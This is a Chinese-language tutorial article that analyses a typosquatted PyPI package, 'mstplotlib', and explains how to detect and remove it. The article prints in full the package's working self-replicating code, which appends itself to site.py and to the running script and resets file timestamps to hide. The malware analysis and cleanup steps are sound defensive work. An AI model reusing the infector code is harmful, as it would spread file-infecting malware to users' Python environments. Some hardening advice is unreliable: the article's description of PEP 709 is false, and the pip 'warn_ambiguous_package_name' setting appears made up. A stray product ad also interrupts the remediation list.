Python标准库被恶意篡改？警惕mstplotlib等恶意包注入后门代码-Python教程-PHP中文网

Python标准库被恶意篡改？警惕mstplotlib等恶意包注入后门代码

误装pip install mstplotlib（实为恶意包）会导致site.py末尾被注入可疑Python代码，该代码具备自我复制与文件感染能力，严重威胁环境安全。本文详解其行为机制、检测方法及彻底清理步骤。

误装`pip install mstplotlib`（实为恶意包）会导致`site.py`末尾被注入可疑python代码，该代码具备自我复制与文件感染能力，严重威胁环境安全。本文详解其行为机制、检测方法及彻底清理步骤。

mstplotlib并非matplotlib的拼写错误补丁，而是一个伪装成常见绘图库的恶意PyPI包（PyPI页面无描述、无源码仓库、无维护记录）。它利用用户手误诱导安装，在安装过程中通过setup.py执行隐蔽副作用——向Python标准库关键启动文件site.py写入一段具有传播性的恶意代码。

这段代码的核心逻辑如下：

mark = "#####MyPython####"  # 感染标记
code = ''
with open(__file__, encoding="utf-8") as f:
    for line in f:
        if mark in line.strip():
            code = line + f.read()  # 提取自身注入段

def spread(file):
    import os
    stat = os.stat(file)
    old_time = stat.st_atime, stat.st_mtime
    # 检查目标文件是否已被感染
    with open(file, 'r', encoding='utf-8') as f:
        for line in f:
            if mark in line:
                return  # 已感染，跳过
    # 文件大小≥2560字节才注入（规避小文件/临时文件）
    if os.path.getsize(file) >= 2560:
        with open(file, 'a', encoding='utf-8') as f:
            f.write('\n' + code)  # 追加自身
        os.utime(file, old_time)  # 保持原始时间戳，隐蔽性更强

try:
    spread(__import__("site").__file__)  # 感染 site.py（Python启动必载）
    spread(__import__("sys").argv[0])     # 感染当前运行脚本（如 .py 文件）
except:
    pass
del spread, code, mark, f, line

⚠️ 关键风险点解析：

site.py 是 Python 解释器启动时自动导入的模块，任何在此处插入的代码都会在每次 Python 进程启动时无条件执行；
spread() 函数具备横向传播能力：不仅感染 site.py，还会尝试感染当前执行的 .py 脚本（sys.argv[0]），形成“感染链”；
使用 os.utime() 伪造文件修改时间，逃避基于时间戳的简单审计；
标记 #####MyPython#### 用于避免重复注入，体现其工程化恶意特征。

✅ 立即处置建议（按优先级排序）：

python-parallelization

将顺序 Python 代码转换为并行/并发实现，用于在需要并行化 Python 代码、提升性能时使用。

下载

立即卸载：
```
pip uninstall mstplotlib -y
```
检查并清理 site.py：
找到你的 Python 环境中 site.py 的路径（通常位于 Lib/site.py 或 lib/python3.x/site.py），用文本编辑器打开，搜索 #####MyPython####，删除整段恶意代码（包括标记行及后续所有内容），保存文件。

扫描其他 .py 文件（尤其近期执行过的脚本）：

# Windows PowerShell 示例
Get-ChildItem -Recurse -Filter "*.py" | Select-String "#####MyPython####" | Select Path
# Linux/macOS
grep -rl "#####MyPython####" --include="*.py" .

报告恶意包：
登录 PyPI → 进入 mstplotlib 页面 → 点击右上角 “Report” → 选择 “Malware / malicious package” 并提交说明。
加固开发习惯：
- 安装前始终核对包名：pip show matplotlib 查看官方包信息；
- 启用 pip install --dry-run（pip ≥23.3）预览依赖；
- 在 CI/CD 或虚拟环境中使用 pip install --no-deps + 显式声明依赖，避免隐式拉取；
- 定期运行 pip list --outdated 并更新 pip 本身（新版本增强依赖解析安全性）。

? 延伸提醒：类似恶意包（如 pytorch-lightning → pytorch-lighting、requests → requesrs）近年频发。PyPI 已引入包名相似度告警（PEP 709），但尚未默认启用。开发者应主动启用 pip config set global.warn_ambiguous_package_name true（需 pip ≥24.0）提升防御水位。

请勿忽视一次“小 typo”——它可能是供应链攻击的第一步。安全始于命名校验，止于代码审计。